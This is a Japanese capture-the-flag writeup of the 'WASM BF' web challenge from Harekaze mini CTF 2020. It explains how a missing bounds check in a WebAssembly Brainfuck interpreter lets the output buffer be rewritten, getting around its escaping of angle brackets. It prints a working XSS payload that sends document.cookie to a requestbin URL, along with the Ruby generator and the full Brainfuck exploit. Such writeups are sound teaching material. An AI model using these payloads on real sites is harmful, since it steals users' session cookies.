Harekaze mini CTF 2020 WASM BF writeup
これはTSG Advent Calendar 8日目の記事ということにします。
adventar.org
とりあえず11月中にAdvent Calendarへ登録をするだけして、11月12月に大量に開催されるCTFで何らかの非自明な問題でも解いたらwriteupを書いて埋めるかーと思っていたのですが、それほど非自明な問題は解けないわAdvent Calendarを書く気が出ないわでこのまま踏み倒そうかと思っていたところ、ちょうど手頃に解説しやすく、解説しがいがあり、いい感じにインスタ映えのしそうな問題があったものですから、もう年始に向けてカウントダウンを始めても差し支えなさそうな12月29日に投稿しています。
12/26-27にHarekaze mini CTF 2020が開催されました。
github.com
mini CTFという名前にふさわしく、特別長時間悩みこむ問題という感じではなかったですが、しっかり面白い問題が揃っていて、面白かったです(面白い問題なので)*1。
その中でWebジャンルのWASM BFという問題を解いたので、それのwriteupをしていこうと思います。方法の説明というよりは、問題を解くときの試行過程をそのままメモしています。
とりあえずソースコードが与えられているので軽く読みます。
まずトップにcrawlerが見えます。Cookieにフラグがあり、それを得ることがゴールです。どう見てもXSS問題です。
/* (snipped) */ const page = await browser.newPage(); await page.setCookie({ name: 'flag', value: process.env['FLAG'], domain: process.env['CHALLENGE_DOMAIN'], httpOnly: false, secure: false }); await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 3000 }); await page.waitForTimeout(3000); /* (snipped) */
XSSできる箇所を見つけるために、HTML/JavaScriptのほうに目をやると、innerHTMLが見えます。
let buffer = ''; output.innerHTML = ''; const importObject = { env: { _get_char: getchar(program), _print_char(arg) { buffer += String.fromCharCode(arg); }, _flush() { output.innerHTML += buffer; buffer = ''; } } };
ここにpayloadを流し、
location.href="http://requestbin.net/r/XXXX?"+document.cookie
を実行することが目標です。
実際にどのような文字列を流せるのか見てみます。どうやらBrainf**kインタプリタがWebAssemblyによって実装されており、その出力命令による出力が入るようです。
インタプリタの実装を読んでみます*2。main.cを読むと、Brainf**kの8つの命令のうち、入力命令以外が実装されています。
一番目を引くのは、出力命令で、XSSを防ぐために、<と>のときはエスケープするようになっている点です。innerHTMLに好きな文字列が代入できると言っても、これらがエスケープされているとなると、XSSを行うのは実際かなり絶望的に感じます。これを如何にしてbypassするかがこの問題の肝でしょう。
// Prevent XSS! if (c == '<' || c == '>') { buffer_pointer[0] = '&'; buffer_pointer[1] = c == '<' ? 'l' : 'g'; buffer_pointer[2] = 't'; buffer_pointer[3] = ';'; buffer_pointer += 4; } else { *buffer_pointer = c; buffer_pointer++; }
他に気になったのは、わざわざbufferingの機構を実装している点です。特にパフォーマンスがよくなるとも思えないのに、100byte程度データが溜まってからflushするようになっています。bufferingはJavaScriptレベルとWASMレベルの2箇所で行われています。JavaScriptのほうのbufferingは、HTMLタグなどが半端な状態でinnerHTMLに連結されないように大事かもしれませんが、WASMのほうの実装理由はすぐには分かりません。たぶんこのあたりに攻略の鍵があるのでしょう。
まずはじめに疑った脆弱性は、print_stringの実装で、NUL終端を仮定した出力になっていることでした。
void print_string(unsigned char *s) { unsigned char c; while (c = *s++) { _print_char(c); } }
今どこまでバッファにデータが入っているかは、グローバル変数buffer_pointerから分かるので、本来は[buffer, buffer_pointer)の区間を出力する実装になっているべきです。NUL終端を壊して、buffer領域を超えた出力を行ってエスケープを回避するのかと考えました。
しかしそのためには、buffer領域の最後のバイトに書き込みが行われる必要があり、そのときbuffer_pointerはbuffer領域外に出る必要があります。print_charのはじめの境界チェックはそれについては問題なく、この方法はうまく動かなさそうでした。
void print_char(char c) { if (buffer_pointer + 4 >= buffer + BUFFER_SIZE) { flush(); } // Prevent XSS! if (c == '<' || c == '>') { buffer_pointer[0] = '&'; buffer_pointer[1] = c == '<' ? 'l' : 'g'; buffer_pointer[2] = 't'; buffer_pointer[3] = ';'; buffer_pointer += 4; } else { *buffer_pointer = c; buffer_pointer++; } }
ということで別の脆弱性を探します。
次に、ソースコードをよく読み直すと、メモリポインタの操作命令<, >で、境界チェックをしていないことが分かります。うまくメモリポインタを範囲外にもっていくと、メモリ操作命令(+, -)によってmemory領域外のデータを改ざんできそうです。
ここでメモリレイアウトが気になるので、かんたんに調べておきます。
WebAssembly Binary Toolkit、wabtというものをインストールしました。
github.com
wabtにはwasm版objdumpが入っており、逆アセンブル結果が読むことができます。
$ wasm-objdump -d main.wasm
main.wasm: file format wasm 0x1 Code Disassembly: 0000c1 func[3] <__wasm_call_ctors>: 0000c2: 0b | end 0000c4 func[4] <initialize>: 0000c5: 41 00 | i32.const 0 0000c7: 41 80 88 80 80 00 | i32.const 1024 0000cd: 36 02 c8 98 80 80 00 | i32.store 2 3144 0000d4: 41 80 88 80 80 00 | i32.const 1024 0000da: 41 00 | i32.const 0 0000dc: 41 e4 00 | i32.const 100 0000df: 10 86 80 80 80 00 | call 6 <memset> 0000e5: 1a | drop 0000e6: 41 f0 88 80 80 00 | i32.const 1136 0000ec: 41 00 | i32.const 0 0000ee: 41 e8 07 | i32.const 1000 0000f1: 10 86 80 80 80 00 | call 6 <memset> 0000f7: 1a | drop 0000f8: 41 e0 90 80 80 00 | i32.const 2144 0000fe: 41 00 | i32.const 0 000100: 41 e8 07 | i32.const 1000 000103: 10 86 80 80 80 00 | call 6 <memset> 000109: 1a | drop 00010a: 0b | end 00010d func[5] <execute>: 00010e: 07 7f | local[0..6] type=i32 000110: 02 40 | block 000112: 20 00 | local.get 0 000114: 41 01 | i32.const 1 ...
WASM_EXPORT void initialize() { buffer_pointer = buffer; for (int i = 0; i < BUFFER_SIZE; i++) { buffer[i] = '\0'; } for (int i = 0; i < MEMORY_SIZE; i++) { memory[i] = '\0'; } for (int i = 0; i < PROGRAM_MAX_SIZE; i++) { program[i] = '\0'; } }
Cのソースコードとobjdump結果を見比べると、4つのグローバル変数のアドレスがわかります*3。
1024 buffer[100] 1136 memory[1000] 2144 program[1000] 3144 buffer_pointer
よって、メモリポインタを負の方向に動かすと、bufferを操作できそうです。
検証してみます。
<の文字コード分だけメモリインクリメント ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 24回('<' * 24 = 96byte)出力 ........................ メモリポインタを負の方向に範囲外まで動かし、bufferを指すようにする <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< 足してみる +
<のtが一つuになりました。出力をいじれることが分かりました。
あとは如何にしてXSSさせるpayloadを作り出すBrainf**kを書くかのわくわくプログラミングコンテストです。わくわくしますね。
ここでそれなりに厳しいのは、Brainf**kコードに1000byteの制限があることです。高級[未定義]なプログラミング言語では、1000byteで十分な表現能力がありますが、Brainf**kなのであまり無駄遣いはできません。
さて、ここで一つ、天下り的なのですが、以下の文字列はinnerHTMLに入れても発火しませんでした*4。
<script>alert(1);</script>
代わりに以下のようなpayloadを利用しました。
<img src=x onerror=alert(1)>
よって、以下のようなHTMLをBrainf**kから出力させることをゴールにします。
<img onerror="location.href='http://requestbin.net/r/XXXX?'+document.cookie" src=x>
戦略としては、まずエスケープされてしまう<および>の代わりに、となりのASCIIコードを持つ=をbufferに乗せておいて、あとから該当する=を上の改ざん方法で正しく<または>に置換して、flushさせる、ということをします。
ところでこのHTML payloadは83byteあります。コード長制限1000byteに収めるためには、1byteあたり平均10byteコードで出力する必要があります。愚直だと厳しいです。
ここで博多市がBrainfuck text generatorという、固定文字列をけっこうな短さで表現するBrainf**kコードを出力するツールを見つけてきてくれました。やさしい。
これに
=img onerror="location.href='http://requestbin.net/r/XXXX?'+document.cookie" src=x=
をかけると、795byte使用されました。残りでなんとかします。
- マーカーとして0xFFを出力。bufferの先頭にこれが置かれる。
- 上の=img onerror=...を出力。
- マーカーの位置まで非破壊的にメモリポインタを移動
- 愚直に、=を<や>に適切に置換する
a = %Q!<img onerror="location.href='http://requestbin.net/r/XXXX?'+document.cookie" src=x>! s = a.gsub(/[<>]/,'=') puts s puts s.size # Oracle: https://copy.sh/brainfuck/text.html o = '----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.+[-->+<]>+++.[--->++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.+[--->+<]>+++.++++++++++.-------------.+.+++[->+++<]>++.-[--->++<]>-.----[->+++<]>-.++++++++++++..----.[-->+<]>++.-----------..-[--->++<]>--.-------------.++++++++++++.++++.++[->+++<]>.[--->+<]>----.+.++[->+++<]>.+++++++.+++++.[----->++<]>++.--[-->+++++<]>.---------.[--->+<]>---.[++>---<]>+.-[--->++<]>--.++[++>---<]>+.---[->++<]>....+[--->+++++<]>.[--->++<]>---.++++.+[--->+<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.--[--->+<]>-.++++++++++++..----.--.----.+[--->+<]>.--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[-->+<]>+.' prog = '-.+' prog += o prog += '[-<+]+' o = '>' a.chars.each do |c| case c when '<' then o += '-' when '>' then o += '+' end o += '>' end prog += o puts prog puts prog.size
-.+----[---->+<]>--.--[--->+<]>.++++.------.-[--->+<]>--.+++++[->+++<]>.-.---------.+++++++++++++..---.+++.[-->+<]>++++.+[-->+<]>+++.[--->++<]>.+++.------------.--.--[--->+<]>-.-----------.++++++.-.[----->++<]>++.+[--->+<]>+++.++++++++++.-------------.+.+++[->+++<]>++.-[--->++<]>-.----[->+++<]>-.++++++++++++..----.[-->+<]>++.-----------..-[--->++<]>--.-------------.++++++++++++.++++.++[->+++<]>.[--->+<]>----.+.++[->+++<]>.+++++++.+++++.[----->++<]>++.--[-->+++++<]>.---------.[--->+<]>---.[++>---<]>+.-[--->++<]>--.++[++>---<]>+.---[->++<]>....+[--->+++++<]>.[--->++<]>---.++++.+[--->+<]>.+++++++++++.------------.-[--->+<]>-.--------.--------.+++++++++.++++++.[++>---<]>.--[--->+<]>-.++++++++++++..----.--.----.+[--->+<]>.--.---[->++++<]>-.-.++++[->+++<]>+.[--->++<]>-----.-[->++<]>.[-->+<]>+.[-<+]+>->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+>
以上で解けました。Reportしてadminからのアクセスを待つだけです。これで890byteです*5。
せっかくなのでビジュアライザを書きました(もちろんCTF終了後に)。Brainf**kコードの配置アドレスは見た目の都合上ずらされています。
WASM BF - asciinema
*1:まあ、そこまで全体感想を言えるほど全問題を見たわけでもないんですが。
*2:これはRevでなくWebジャンルです。Webジャンルには(それ以外でも)、ソースコードが全部公開されるべきという主張がしばしばありますが、今回はWASMバイナリのもととなったmain.cまで渡されています。とてもありがたいですね。
*3:ところで、Cではfor loopによる初期化なのに、objdumpではmemsetに置換されていますね。パフォーマンスがよくなりそうですが、誰が賢いんだろう。
*4:検証: https://jsfiddle.net/e0w32ptg/
*5:今回はrequstbinのURLをダミー化したので、本当ならもう少し長くなります。本番は自分はrequestbinではなく自分のドメインを使用しました。